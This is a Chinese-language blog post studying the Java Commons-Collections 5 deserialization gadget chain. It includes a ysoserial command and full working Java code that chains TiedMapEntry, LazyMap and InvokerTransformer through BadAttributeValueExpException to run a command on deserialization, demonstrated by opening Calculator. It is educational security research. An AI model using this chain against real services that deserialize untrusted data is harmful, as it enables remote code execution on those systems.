CommonsCollection5反序列化链学习

CommonsCollection5

1、前置知识

1.1、前置知识

通过前面cc1、cc2和cc3的学习,发先cc5跟前面大同小异,他使用了一个新类TiedMapEntry

TiedMapEntry

我们先来学习他的构造方法,第一个参数是Map类型,第二个是Object类型的key,然后发现其getValue方法其中调用到了get方法,这不就是我们LazyMap的get方法嘛,然后就是get方法调用transform方法,循环transform实现我们的Rce。那哪里调用了getVaule方法呢?就是在本类中 的toString方法,toString方法

//构造方法
public TiedMapEntry(Map map, Object key) {
  this.map = map;
  this.key = key;
}
......
public Object getValue() {
  return this.map.get(this.key);
}
......
public String toString() {
  return this.getKey() + "=" + this.getValue();
}

BadAttributeValueExpException

我们一样看其构造方法先,获取一个Object类型的val,然后怎么赋值val呢?如果val为null就返回null,否则返回val.toString(),我们继续来看BadAttributeValueExpException中的readObject方法,其中调用了toString方法,但是前面有个if判断就能决定我们怎么传val,首先他从输入流获取了属性val的值并且赋值为valObj,首先判断valObj是不是为空和其类型是否为String类型,再判断System.getSecurityManager() == null,是的话就能执行toString方法了,默认关闭的

//构造方法
public BadAttributeValueExpException (Object val) {
  this.val = val == null ? null : val.toString();
}

......

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
  ObjectInputStream.GetField gf = ois.readFields();
  Object valObj = gf.get("val", null);

  if (valObj == null) {
    val = null;
  } else if (valObj instanceof String) {
    val= valObj;
  } else if (System.getSecurityManager() == null
             || valObj instanceof Long
             || valObj instanceof Integer
             || valObj instanceof Float
             || valObj instanceof Double
             || valObj instanceof Byte
             || valObj instanceof Short
             || valObj instanceof Boolean) {
    val = valObj.toString();
  } else { // the serialized object is from a version without JDK-8019292 fix
    val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
  }
}

1.2、导入依赖(pom.xml)

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>CommonsCollection5</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>
</project>

2、漏洞复习

2.2、ysoserila生成CommonsCollection5 恶意文件

java -jar ysoserial.jar CommonsCollections5 "open /System/Applications/Calculator.app" > test.ser

2.3、读取文件并且反序列化

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class CommonsCollection {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
        objectInputStream.readObject();

    }
}

3、漏洞成因

3.1、Ysoserila的Gatget Chain(https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java),发现执行代码的是InvokerTransformer.transform()方法,在org.apache.commons.collections.functors.InvokerTransformer包中。发现其实现了序列化的接口

image-20220320162803010

查看InvokerTransformer的构造方法,需要传入方法名(moduleName)、参数的类型(paraTypes)和参数(args)

image-20220320165438637

查看transform方法,发现其是一个反射调用的方法,需要传入一个对象类,然后通过反射调用这个类,执行InvokerTransformer传入的方法

image-20220320163509264

构造代码实现

import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class CommonsCollection {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        /*invokerTransformer的作用是,获取要执行的方法名(moduleName)和传入参数的类型(java.lang.String)
        和具体的参数字符串("open /System/Applications/Calculator.app")*/
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
                new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"});
        /*传入Runtime.getRuntime()类,通过transform方法反射调用exec方法,执行任意代码*/
        invokerTransformer.transform(Runtime.getRuntime());

    }
}

image-20220320170206471

3.2、反序列执行代码都是直接执行readObject()函数就行了,如果直接序列化上面的invokerTransformer对象,那么在readObject之后还需要主动调用transform(Runtime.getRuntime()),也就是下面这样,这显然是不实际的。


import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;


public class test {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
                new Class[]{ String.class},
                new Object[] {"open /System/Applications/Calculator.app"});
        serialize(invokerTransformer);
        deserialize();



    }
    public static void serialize(Object obj) throws Exception {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        }catch (Exception e){
            e.printStackTrace();
        }

    }
    public static void deserialize() throws Exception{
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            InvokerTransformer obj = (InvokerTransformer) is.readObject();
            obj.transform(Runtime.getRuntime());
        }catch (Exception e){
            e.printStackTrace();
        }
    
    }
}

所以我们要找哪里调用了transform方法(也可指看Ysoserila 利用链),而且Runtime.getRuntime()的调用我们也要通过反射来进行

而org.apache.commons.collections.functors.ConstantTransformer类,它的transform()函数如下,他可以实例化一个Runtime类

public ConstantTransformer(Object constantToReturn) {
  this.iConstant = constantToReturn;
}

public Object transform(Object input) {
  return this.iConstant;
}

而org.apache.commons.collections.functors.ChainedTransformer类,我们通过InvokerTransformer中的transform函数一次只能进行一次反射,这里我们就需要构造一个反射链,最终调用到exec()函数。

public ChainedTransformer(Transformer[] transformers) {
  this.iTransformers = transformers;
}

public Object transform(Object object) {
  for(int i = 0; i < this.iTransformers.length; ++i) {
    object = this.iTransformers[i].transform(object);
  }

  return object;
}

Transformer[]就是用来存放InvokerTransforme

首先传入Runtime类(直接调用.class属性),然后通过反射调用getMethod方法(这个方法每个类都可以调用),getMethod方法的参数就是getRuntime,也就是说到这一步就取得getRuntime函数,然后通过反射调用invoke方法真正的执行getRuntime函数并返回Runtime实例,最后再反射调用Runtime实例的exec函数,传入要执行的命令即可实现命令执行

java.lang.Runtime.getRuntime().invoke(null).exec("open /System/Applications/Calculator.app")

四重循环反射调用流程

Transformer[]=iTransformers[i]=
object=iTransformers[0].transform(null) = ConstantTransformer(Runtime.Class).transform()=java.lang.Runtime
  
object=iTransformers[1].transform(java.lang.Runtime)
  		/*通过InvokerTransformer.transform()获取getMethod*/
  		=InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(java.lang.Runtime)
  		/*通过getMethod获取getRuntime,new Class[0]为空数组的意思(null),但是因为null没有类型所以我们只能传new Class[0]*/
  		=getMethod.invoke(java.lang.Runtime,new Object[]{"getRuntime",new Class[0]})
  		/*反射调用*/
  		=java.lang.Runtime.getMethod(new Object[]{"getRuntime",new Class[0]})
  		=java.lang.Runtime.getRuntime()//这个是object
  		//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象(Runtimeb本身就是通过getRuntime()方法获取Runtime实例对象)
object=iTransformers[2].transform(java.lang.Runtime.getRuntime())  
  		=InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}.transform(java.lang.Runtime.getRuntime())
      =invoke.invoke(java.lang.Runtime.getRuntime(),new Object[]{null,new Object[0])
      =java.lang.Runtime.getRuntime().invoke(null)
      //反射调用exec方法
object=iTransformers[3].transform(java.lang.Runtime.getRuntime().invoke(null))
      =InvokerTransformer("exec",new Class[]{String.class},new String[]{"open /System/Applications/Calculator.app"}).transform(java.lang.Runtime.getRuntime().invoke(null))
      =exec.invoke(java.lang.Runtime.getRuntime().invoke(null),new String[]{"open /System/Applications/Calculator.app"})
      =java.lang.Runtime.getRuntime().invoke(null).exec("open /System/Applications/Calculator.app")

构造代码利用

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class CommonsCollection {
    public static void main(String[] args) throws IOException, ClassNotFoundException {

    			Transformer[] transformers = new Transformer[]{
                /*利用ConstantTransformer获取Runtime类*/
                new ConstantTransformer(Runtime.class) ,
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"open /System/Applications/Calculator.app"})

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        serialize(chainedTransformer);
        deserialize();

    }
    public static void serialize(Object obj) throws Exception {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        }catch (Exception e){
            e.printStackTrace();
        }

    }
    public static void deserialize() throws Exception{
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            ChainedTransformer obj = (ChainedTransformer) is.readObject();
            obj.transform("");
        }catch (Exception e){
            e.printStackTrace();
        }

    }
}

疑问

invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)的作用是什么

答:通过反射调用invoke方法真正的执行getRuntime函数并返回Runtime实例(Runtime是单例模式,通过getRuntime获取实例)

Object[].class,new Object[0]、Class[].class ,new Class[0]作用是什么

答:Object[].class、Class[].class表示参数类型,Object数组类型和Class数组类型, new Class[0]为getmethod函数调用为空参数的意思,new Class[0]=new Class[]{}

3.3、所以这样的话在unserialize函数中我们的transform可以传入任意的对象(本示例代码是空字符串对象),即可造成反序列化的命令执行。但是在实际的漏洞环境中这样的仍然是难以利用的,现在还是要调用transform()方法,反序列化漏洞都是直接readObject(),所以我们要去有没其他哪里重写了readObject()函数,并且直接或者间接的调用了transform()方法

org.apache.commons.collections.map.LazyMap(Map)里的get方法调用了transform()

    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

继续寻找调用get的方法

TiedMapEntry中toString调用了getValue,而getValue调用了Map类的get

org.apache.commons.collections.keyvalue.TiedMapEntry

    public Object getValue() {
        return this.map.get(this.key);
    }
    .......
    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

继续寻找toString方法和重写readObject的函数

javax.management.BadAttributeValueExpException类中重写readObject的函数,并且valObj对象在从输入流获取后执行了toString()方法

public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

因此我们有以下思路

  1. 构造chainedTransformer
  2. 声明一个LazyMap,它的get方法会调用transform方法
  3. 以上一步声明的LazyMap对象为参数,声明一个TiremapEntry,它的toString方法会调用getValue方法,getValue方法会调用LazyMap的get方法
  4. 以上一步声明的TiremapEntry对象为参数,声明一个BadAttributeValueExpException对象,它反序列化时会调用TiremapEntry的toString方法

构造函数

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollection {
    public static void main(String[] args) throws Exception {
//        /*invokerTransformer的作用是,获取要执行的方法名(moduleName)和传入参数的类型(java.lang.String)
//        和具体的参数字符串("open /System/Applications/Calculator.app")*/
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
//                new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"});
//        /*传入Runtime.getRuntime()类,通过transform方法反射调用exec方法,执行任意代码*/
//        invokerTransformer.transform(Runtime.getRuntime());


        Transformer[] transformers = new Transformer[]{
                /*利用ConstantTransformer获取Runtime类*/
            new ConstantTransformer(Runtime.class) ,
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                         // 调用exec("calc")
                        new InvokerTransformer("exec",new Class[]{String.class},new String[]{"open /System/Applications/Calculator.app"})

        };
        // 构造transformerChain
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // 声明lazyMap以调用transform方法
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        // 声明tiedMapEntry以调用get方法
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        // 声明badAttributeValueExpException以调用toString方法
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, entry);
        serialize(badAttributeValueExpException);
        deserialize();



    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();

    }
    public static void deserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
        objectInputStream.readObject();
    }
}

BadAttributeValueExpException调用toString方法反射赋值entry

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, entry);

因为在构造函数,当val不为空的时候,是将val.toString()赋值给this.val,因此这样直接声明的话会直接通过toString()触发命令执行。但是在真正反序列化的时候,由于val变成了String类型,就会造成漏洞无法触发。

    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

4、漏洞调试

在BadAttributeValueExpException的readObject处打断点,在反序列化时通过反射把val既valObj赋值成tiedmap,继续跟进

image-20220401155406207

我们直接跟进getValue,因为我们在value处存储了恶意的TiedMapEntry,继续跟进

image-20220401155518775

看到this.map为lazyMap,跟进lazymap的get方法

image-20220401155702073

看到this.factory存储的为我们的恶意构造的transformer,继续跟进

image-20220401155904590

进入后,可以看到第一个的就是,ComstantTransformer.transform方法,跟进

image-20220401160042646

会返回我们的Runtime.class,Class是实现了序列化接口的

image-20220401160251002

第二遍进入到我们的InvokerTransformer的transform方法

image-20220401160431827

进入后发现,通过getmethod方法获取getruntime

image-20220401160554805

第三遍InvokerTransformer的transform方法执行invoke

image-20220401160726442

通过invoke执行Runtime类的静态方法getRuntime方法,获取Runtime类实例化对象,invoke执行静态方法时,两个参数都是null

image-20220401160840428

第四遍是执行Runtime实例化对象的exec()方法,我们也可以看出此时的Object对象是Runime类实例化对象,继续进入

image-20220401161130562

通过反射执行exec方法

image-20220401161332618

成功弹窗

5、思维导图

6、利用链

/*
	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
	Requires:
		commons-collections
 */

参考链接

https://www.xmanblog.net/java-deserialize-apache-commons-collections/

https://y4er.com/post/ysoserial-commonscollections-5/

posted @ 2022-04-01 16:17  akka1  阅读(119)  评论(0编辑  收藏  举报